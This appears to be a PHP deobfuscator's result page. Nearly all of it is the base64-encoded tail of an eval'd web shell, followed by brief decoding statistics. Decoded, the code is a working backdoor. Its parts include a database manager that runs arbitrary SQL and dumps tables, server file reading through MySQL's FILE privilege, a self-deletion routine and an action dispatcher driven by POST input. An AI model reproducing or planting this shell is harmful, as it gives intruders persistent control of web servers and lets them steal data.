y0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJJHJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidgJyk7DQoJCQkJCSRjcmVhdGUgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzKTsNCgkJCQkJJHNxbCA9ICRjcmVhdGVbMV0uIjtcbiI7DQogICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsNCgkJCQkJJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpOw0KICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IHRydWU7DQoJCQkJCXdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsNCgkJCQkJCSRjb2x1bW5zID0gYXJyYXkoKTsNCgkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHYgPT0gbnVsbCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIk5VTEwiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihpc19udW1lcmljKCR2KSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gJHY7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiJyIuQG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkdikuIiciOw0KCQkJCQkJCSRjb2x1bW5zW10gPSAiYCIuJGsuImAiOw0KCQkJCQkJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGhlYWQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4iKSBWQUxVRVMgXG5cdCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICJcblx0LCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsNCgkJCQkJfQ0KICAgICAgICAgICAgICAgICAgICBpZighJGhlYWQpDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICI7XG5cbiIpOyBlbHNlIGVjaG8oIjtcblxuIik7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpOw0KCQkJCQl3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7DQoJCQkJCQkkY29sdW1ucyA9IGFycmF5KCk7DQoJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgew0KCQkJCQkJCSRpdGVtWyRrXSA9ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7DQoJCQkJCQkJJGNvbHVtbnNbXSA9ICRrOw0KCQkJCQkJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLicpIFZBTFVFUyAoJy5pbXBsb2RlKCIsICIsICRpdGVtKS4nKTsnLiJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7DQoJCQkJCX0NCgkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCX07DQoJJGRiID0gbmV3IERiQ2xhc3MoJF9QT1NUWyd0eXBlJ10pOw0KCWlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsNCgkJJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pOw0KCQkkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7DQogICAgICAgIHN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQnXSkgew0KICAgICAgICAgICAgY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOw0KICAgICAgICB9DQogICAgICAgIGlmKGVtcHR5KCRfUE9TVFsnZmlsZSddKSkgew0KICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOw0KICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1kdW1wLnNxbCIpOw0KICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvcGxhaW4iKTsNCiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikNCgkJCQkkZGItPmR1bXAoJHYpOw0KICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgfSBlbHNlaWYoJGZwID0gQGZvcGVuKCRfUE9TVFsnZmlsZSddLCAndycpKSB7DQogICAgICAgICAgICBmb3JlYWNoKCRfUE9TVFsndGJsJ10gYXMgJHYpDQogICAgICAgICAgICAgICAgJGRiLT5kdW1wKCR2LCAkZnApOw0KICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICB1bnNldCgkX1BPU1RbJ3AyJ10pOw0KICAgICAgICB9IGVsc2UNCiAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5hbGVydCgiRXJyb3IhIENhblwndCBvcGVuIGZpbGUiKTt3aW5kb3cuaGlzdG9yeS5iYWNrKC0xKTwvc2NyaXB0PicpOw0KCX0NCgltYWRoZWFkKCk7DQoJZWNobyAiDQo8ZGl2IGNsYXNzPWhlYWRlcj4NCjxmb3JtIG5hbWU9J3NmJyBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PSdmcyh0aGlzKTsnPjx0YWJsZSBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzAnPjx0cj4NCjx0ZD5UeXBlPC90ZD48dGQ+SG9zdDwvdGQ+PHRkPkxvZ2luPC90ZD48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD5EYXRhYmFzZTwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPVNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ncXVlcnknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyIHZhbHVlPScnPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykgLiInPg0KPHRkPjxzZWxlY3QgbmFtZT0ndHlwZSc+PG9wdGlvbiB2YWx1ZT0nbXlzcWwnICI7DQogICAgaWYoQCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKWVjaG8gJ3NlbGVjdGVkJzsNCmVjaG8gIj5NeVNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3Bnc3FsJyAiOw0KaWYoQCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKWVjaG8gJ3NlbGVjdGVkJzsNCmVjaG8gIj5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD4NCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2hvc3QgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfaG9zdCddKSkgLiInPjwvdGQ+DQo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2xvZ2luJ10pPydyb290JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2xvZ2luJ10pKSAuIic+PC90ZD4NCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX3Bhc3MgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9wYXNzJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfcGFzcyddKSkgLiInPjwvdGQ+PHRkPiI7DQoJJHRtcCA9ICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2Jhc2UgdmFsdWU9Jyc+IjsNCglpZihpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10pKXsNCgkJaWYoJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pKSB7DQoJCQlzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsNCgkJCQljYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsNCgkJCQljYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsNCgkJCQljYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOw0KCQkJCWNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7DQoJCQkJY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOw0KCQkJfQ0KCQkJJGRiLT5saXN0RGJzKCk7DQoJCQllY2hvICI8c2VsZWN0IG5hbWU9c3FsX2Jhc2U+PG9wdGlvbiB2YWx1ZT0nJz48L29wdGlvbj4iOw0KCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpIHsNCgkJCQlsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsNCgkJCQllY2hvICc8b3B0aW9uIHZhbHVlPSInLiR2YWx1ZS4nIiAnLigkdmFsdWU9PSRfUE9TVFsnc3FsX2Jhc2UnXT8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbHVlLic8L29wdGlvbj4nOw0KCQkJfQ0KCQkJZWNobyAnPC9zZWxlY3Q+JzsNCgkJfQ0KCQllbHNlIGVjaG8gJHRtcDsNCgl9ZWxzZQ0KCQllY2hvICR0bXA7DQoJZWNobyAiPC90ZD4NCgkJCQk8dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Picgb25jbGljaz0nZnMoZC5zZik7Jz48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXNxbF9jb3VudCB2YWx1ZT0nb24nIiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJzonIGNoZWNrZWQnKSAuICI+IGNvdW50IHRoZSBudW1iZXIgb2Ygcm93czwvdGQ+DQoJCQk8L3RyPg0KCQk8L3RhYmxlPg0KCQk8c2NyaXB0Pg0KICAgICAgICAgICAgc19kYj0nIi5AYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9iYXNlJ10pLiInOw0KICAgICAgICAgICAgZnVuY3Rpb24gZnMoZikgew0KICAgICAgICAgICAgICAgIGlmKGYuc3FsX2Jhc2UudmFsdWUhPXNfZGIpIHsgZi5vbnN1Ym1pdCA9IGZ1bmN0aW9uKCkge307DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDEpIGYucDEudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDIpIGYucDIudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDMpIGYucDMudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KCQkJZnVuY3Rpb24gc3QodCxsKSB7DQoJCQkJZC5zZi5wMS52YWx1ZSA9ICdzZWxlY3QnOw0KCQkJCWQuc2YucDIudmFsdWUgPSB0Ow0KICAgICAgICAgICAgICAgIGlmKGwgJiYgZC5zZi5wMykgZC5zZi5wMy52YWx1ZSA9IGw7DQoJCQkJZC5zZi5zdWJtaXQoKTsNCgkJCX0NCgkJCWZ1bmN0aW9uIGlzKCkgew0KCQkJCWZvcihpPTA7aTxkLnNmLmVsZW1lbnRzWyd0YmxbXSddLmxlbmd0aDsrK2kpDQoJCQkJCWQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZCA9ICFkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQ7DQoJCQl9DQoJCTwvc2NyaXB0PiI7DQoJaWYoaXNzZXQoJGRiKSAmJiAkZGItPmxpbmspew0KCQllY2hvICI8YnIvPjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTIgY2VsbHNwYWNpbmc9MD4iOw0KCQkJaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpew0KCQkJCSRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsNCgkJCQllY2hvICI8dHI+PHRkIHdpZHRoPTEgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Jz48c3Bhbj5UYWJsZXM6PC9zcGFuPjxicj48YnI+IjsNCgkJCQkkdGJsc19yZXMgPSAkZGItPmxpc3RUYWJsZXMoKTsNCgkJCQl3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goJHRibHNfcmVzKSkgew0KCQkJCQlsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsNCiAgICAgICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJG4gPSAkZGItPmZldGNoKCRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gJy4kdmFsdWUuJycpKTsNCgkJCQkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpOw0KCQkJCQllY2hvICI8bm9icj48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIi4kdmFsdWUuIic+Jm5ic3A7PGEgaHJlZj0jIG9uY2xpY2s9XCJzdCgnIi4kdmFsdWUuIicsMSlcIj4iLiR2YWx1ZS4iPC9hPiIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/JyZuYnNwOyc6IiA8c21hbGw+KHskblsnbiddfSk8L3NtYWxsPiIpIC4gIjwvbm9icj48YnI+IjsNCgkJCQl9DQoJCQkJZWNobyAiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdpcygpOyc+IDxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9jdW1lbnQuc2YucDIudmFsdWU9XCJkb3dubG9hZFwiO2RvY3VtZW50LnNmLnN1Ym1pdCgpOyc+PGJyPkZpbGUgcGF0aDo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmlsZSB2YWx1ZT0nZHVtcC5zcWwnPjwvdGQ+PHRkIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+IjsNCgkJCQlpZihAJF9QT1NUWydwMSddID09ICdzZWxlY3QnKSB7DQoJCQkJCSRfUE9TVFsncDEnXSA9ICdxdWVyeSc7DQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXSA9ICRfUE9TVFsncDMnXT8kX1BPU1RbJ3AzJ106MTsNCgkJCQkJJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnIC4gJF9QT1NUWydwMiddKTsNCgkJCQkJJG51bSA9ICRkYi0+ZmV0Y2goKTsNCgkJCQkJJHBhZ2VzID0gY2VpbCgkbnVtWyduJ10gLyAzMCk7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzY3JpcHQ+ZC5zZi5vbnN1Ym1pdD1mdW5jdGlvbigpe3N0KFwiIiAuICRfUE9TVFsncDInXSAuICJcIiwgZC5zZi5wMy52YWx1ZSl9PC9zY3JpcHQ+PHNwYW4+Ii4kX1BPU1RbJ3AyJ10uIjwvc3Bhbj4gKHskbnVtWyduJ119IHJlY29yZHMpIFBhZ2UgIyA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J3AzJyB2YWx1ZT0iIC4gKChpbnQpJF9QT1NUWydwMyddKSAuICI+IjsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiIG9mICRwYWdlcyI7DQogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDMnXSA+IDEpDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KFwiIiAuICRfUE9TVFsncDInXSAuICciLCAnIC4gKCRfUE9TVFsncDMnXS0xKSAuICIpJz4mbHQ7IFByZXY8L2E+IjsNCiAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWydwMyddIDwgJHBhZ2VzKQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3AzJ10rMSkgLiAiKSc+TmV4dCAmZ3Q7PC9hPiI7DQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXS0tOw0KCQkJCQlpZigkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJykNCgkJCQkJCSRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9QT1NUWydwMiddLicgTElNSVQgMzAgT0ZGU0VUICcuKCRfUE9TVFsncDMnXSozMCk7DQoJCQkJCWVsc2UNCgkJCQkJCSRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncDInXS4nYCBMSU1JVCAnLigkX1BPU1RbJ3AzJ10qMzApLicsMzAnOw0KCQkJCQllY2hvICI8YnI+PGJyPiI7DQoJCQkJfQ0KCQkJCWlmKChAJF9QT1NUWydwMSddID09ICdxdWVyeScpICYmICFlbXB0eSgkX1BPU1RbJ3AyJ10pKSB7DQoJCQkJCSRkYi0+cXVlcnkoQCRfUE9TVFsncDInXSk7DQoJCQkJCWlmKCRkYi0+cmVzICE9PSBmYWxzZSkgew0KCQkJCQkJJHRpdGxlID0gZmFsc2U7DQoJCQkJCQllY2hvICc8dGFibGUgd2lkdGg9MTAwJSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTIgY2xhc3M9bWFpbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMjkyOTI5Ij4nOw0KCQkJCQkJJGxpbmUgPSAxOw0KCQkJCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpCXsNCgkJCQkJCQlpZighJHRpdGxlKQl7DQoJCQkJCQkJCWVjaG8gJzx0cj4nOw0KCQkJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKQ0KCQkJCQkJCQkJZWNobyAnPHRoPicuJGtleS4nPC90aD4nOw0KCQkJCQkJCQlyZXNldCgkaXRlbSk7DQoJCQkJCQkJCSR0aXRsZT10cnVlOw0KCQkJCQkJCQllY2hvICc8L3RyPjx0cj4nOw0KCQkJCQkJCQkkbGluZSA9IDI7DQoJCQkJCQkJfQ0KCQkJCQkJCWVjaG8gJzx0ciBjbGFzcz0ibCcuJGxpbmUuJyI+JzsNCgkJCQkJCQkkbGluZSA9ICRsaW5lPT0xPzI6MTsNCgkJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKSB7DQoJCQkJCQkJCWlmKCR2YWx1ZSA9PSBudWxsKQ0KCQkJCQkJCQkJZWNobyAnPHRkPjxpPm51bGw8L2k+PC90ZD4nOw0KCQkJCQkJCQllbHNlDQoJCQkJCQkJCQllY2hvICc8dGQ+Jy5ubDJicihodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSkpLic8L3RkPic7DQoJCQkJCQkJfQ0KCQkJCQkJCWVjaG8gJzwvdHI+JzsNCgkJCQkJCX0NCgkJCQkJCWVjaG8gJzwvdGFibGU+JzsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCWVjaG8gJzxkaXY+PGI+RXJyb3I6PC9iPiAnLmh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKS4nPC9kaXY+JzsNCgkJCQkJfQ0KCQkJCX0NCgkJCQllY2hvICI8YnI+PC9mb3JtPjxmb3JtIG9uc3VibWl0PSdkLnNmLnAxLnZhbHVlPVwicXVlcnlcIjtkLnNmLnAyLnZhbHVlPXRoaXMucXVlcnkudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHRleHRhcmVhIG5hbWU9J3F1ZXJ5JyBzdHlsZT0nd2lkdGg6MTAwJTtoZWlnaHQ6MTAwcHgnPiI7DQogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDEnXSAhPSAnbG9hZGZpbGUnKSkNCiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSk7DQogICAgICAgICAgICAgICAgZWNobyAiPC90ZXh0YXJlYT48YnIvPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRXhlY3V0ZSc+IjsNCgkJCQllY2hvICI8L3RkPjwvdHI+IjsNCgkJCX0NCgkJCWVjaG8gIjwvdGFibGU+PC9mb3JtPjxici8+IjsNCiAgICAgICAgICAgIGlmKCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKSB7DQogICAgICAgICAgICAgICAgJGRiLT5xdWVyeSgiU0VMRUNUIDEgRlJPTSBteXNxbC51c2VyIFdIRVJFIGNvbmNhdChgdXNlcmAsICdAJywgYGhvc3RgKSA9IFVTRVIoKSBBTkQgYEZpbGVfcHJpdmAgPSAneSciKTsNCiAgICAgICAgICAgICAgICBpZigkZGItPmZldGNoKCkpDQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG9uc3VibWl0PSdkLnNmLnAxLnZhbHVlPVwibG9hZGZpbGVcIjtkb2N1bWVudC5zZi5wMi52YWx1ZT10aGlzLmYudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHNwYW4+TG9hZCBmaWxlPC9zcGFuPiA8aW5wdXQgIGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+IjsNCiAgICAgICAgICAgIH0NCgkJCWlmKEAkX1BPU1RbJ3AxJ10gPT0gJ2xvYWRmaWxlJykgew0KCQkJCSRmaWxlID0gJGRiLT5sb2FkRmlsZSgkX1BPU1RbJ3AyJ10pOw0KCQkJCWVjaG8gJzxwcmUgY2xhc3M9bWwxPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZSddKS4nPC9wcmU+JzsNCgkJCX0NCgl9IGVsc2Ugew0KICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKTsNCiAgICB9DQoJZWNobyAnPC9kaXY+JzsNCiAgICBtYWRmb290ZXIoKTsNCiAgICANCiB9DQogDQogZnVuY3Rpb24gbWFkc2VsZnJtKCkNCiB7DQogICAgDQogICAgaWYoJF9QT1NUWydwMSddID09ICd5ZXMnKQ0KCQlpZihAdW5saW5rKHByZWdfcmVwbGFjZSgnIVwoXGQrXClccy4qIScsICcnLCAnQzpcd2FtcFx3d3dcbXNzLnBocCcpKSkNCgkJCWRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZCcpOw0KCQllbHNlDQoJCQllY2hvICd1bmxpbmsgZXJyb3IhJzsNCiAgICBpZigkX1BPU1RbJ3AxJ10gIT0gJ3llcycpDQogICAgICAgIG1hZGhlYWQoKTsNCgllY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPiI7DQogICAgDQogICAgDQogICAgZWNobyAiDQogICAgDQogICAgICAgICAgICAgICAgL15cDQogICAgICAgXy4tYDogICAvICAgXCAgIDonLS5fDQogICAgICxgICAgIDogIHwgICAgIHwgIDogICAgJy4NCiAgICxgICAgICAgIFwsfCAgICAgfCwvICAgICAgICcuDQogIC8gICAgICAgICAgIGAtLi4uLWAgICAgICAgICAgIFwNCiA6ICAgICAgICAgICAgICAuJy4gICAgICAgICAgICAgIDoNCiB8ICAgICAgICAgICAgIC4gJyAuICAgICAgICAgICAgIHwNCiB8ICAgICAgICAgICAgICcgLiAnICAgICAgICAgICAgIHwNCiA6ICAgICAgICAgICAgICAnLicgICAgICAgICAgICAgIDoNCiAgXCAgICAgICAgICAgLC0nJyctLCAgICAgICAgICAgLw0KICAgYC4gICAgICAgLyd8ICAgICB8J1wgICAgICAgLCcNCiAgICAgYC5fICAgOyAgfCAgICAgfCAgOyAgIF8sJw0KICAgICAgICBgLS46ICB8ICAgICB8ICA6LC0nDQogICAgICAgICAgICAgIHwgICAgIHwNCiAgICAgICAgICAgICAgfCAgICAgfA0KICAgICAgICAgICAgICB8ICAgICB8DQogICAgICAgICAgICAgIHwgICAgIHwNCiAgICAgICAgICAgICAgfCAgICAgfA0KIjsNCiAgICANCiAgICANCiAgICANCiAgICBlY2hvICc8YnI+S2lsbCBNZT88YnI+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj5ZZXM8L2E+PC9kaXY+JzsNCgltYWRGb290ZXIoKTsNCiAgICANCiB9DQoNCg0KaWYoIGVtcHR5KCRfUE9TVFsnYSddKSApDQoJaWYoaXNzZXQoJGRlZmF1bHRfYWN0aW9uKSAmJiBmdW5jdGlvbl9leGlzdHMoJ21hZCcgLiAkZGVmYXVsdF9hY3Rpb24pKQ0KCQkkX1BPU1RbJ2EnXSA9ICRkZWZhdWx0X2FjdGlvbjsNCgllbHNlDQoJCSRfUE9TVFsnYSddID0gJ0ZpbGVzTWFuJzsNCmlmKCAhZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnbWFkJyAuICRfUE9TVFsnYSddKSApDQoJY2FsbF91c2VyX2Z1bmMoJ21hZCcgLiAkX1BPU1RbJ2EnXSk7DQoJZXhpdDsNCgk/Pg==")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 86a66de1eb70963b36d204718fc46306
Eval Count 1
Decode Time 150 ms